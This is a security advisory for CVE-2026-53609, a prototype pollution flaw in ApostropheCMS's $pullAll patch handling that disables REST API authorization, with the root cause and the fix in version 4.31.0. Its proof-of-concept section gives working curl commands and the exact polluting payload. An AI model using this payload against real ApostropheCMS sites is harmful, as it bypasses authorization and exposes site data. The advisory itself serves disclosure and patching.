critical · 9.1CVE-2026-53609Jul 31, 2026

CVE-2026-53609: ApostropheCMS Server-Side Prototype Pollution via $pullAll Leading to Authorization Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

An authenticated editor in ApostropheCMS can poison the Node.js process's global Object.prototype with a single PATCH request, permanently disabling authorization checks on all REST API endpoints…

Packageapostrophe
Ecosystemnpm
Affected<= 4.30.0
Fixed in4.31.0
CVE-2026-53609: ApostropheCMS Server-Side Prototype Pollution via $pullAll Leading to Authorization Bypass

The problem

ApostropheCMS versions up to and including 4.30.0 contain a server-side prototype pollution vulnerability in apos.util.set(). The function splits dot-notation paths and traverses them property by property without rejecting reserved keys like __proto__, constructor, or prototype.

User-controlled keys from the $pullAll patch operator are passed directly into apos.util.set() from implementPatchOperators() in the schema module. A pre-check using _.has() (an own-property check) silently skips __proto__ since it is inherited, not own, letting the polluting write proceed.

The confirmed gadget is publicApiCheck() in the piece-type module. It guards REST endpoints with if (!self.options.publicApiProjection). Once Object.prototype.publicApiProjection is set to any truthy value, every module instance inherits it, the condition evaluates to false, and the authorization gate is skipped for every subsequent unauthenticated request for the lifetime of the process.

Proof of concept

A working proof-of-concept for CVE-2026-53609 in apostrophe, with the exact payload below.

bash
# Step 1: get an editor token
TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"editor","password":"..."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

# Step 2: pollute Object.prototype via $pullAll
curl -X PATCH 'http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'Cookie: apos-testapp.csrf=csrf' \
  -H 'X-XSRF-TOKEN: csrf' \
  -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'

# Step 3: confirm bypass (no credentials)
curl -s http://localhost:3000/api/v1/@apostrophecms/user
# Returns {"pages":0,"currentPage":1,"results":[]} instead of {"name":"notfound"}

The root cause is CWE-1321: apos.util.set() never validated path segments against the prototype-chain keywords __proto__, constructor, and prototype. When the key __proto__.publicApiProjection is split on ., the traversal lands on Object.prototype and writes to it directly.

The cloneOriginalBase() guard in implementPatchOperators() uses _.has(), which only checks own properties. Because __proto__ is not an own property of the patch object, the guard passes silently and the call to apos.util.set() proceeds with the attacker-controlled key.

The patch (PR #5464, commit 5a88e96) adds an explicit blocklist check inside apos.util.set() and before keys are forwarded from implementPatchOperators(), rejecting any path segment equal to __proto__, constructor, or prototype before traversal begins.

The fix

Upgrade to apostrophe version 4.31.0 or later (PR #5464, commit 5a88e9630cbbdde33154ef8abe7557ddf7be418b). The fix rejects any dot-notation path segment matching __proto__, constructor, or prototype at both the apos.util.set() level and before keys are forwarded from implementPatchOperators().

There is no known workaround short of upgrading; pollution persists until the Node.js process is restarted.

Reporter not attributed.

References: [1][2][3][4][5]

Related research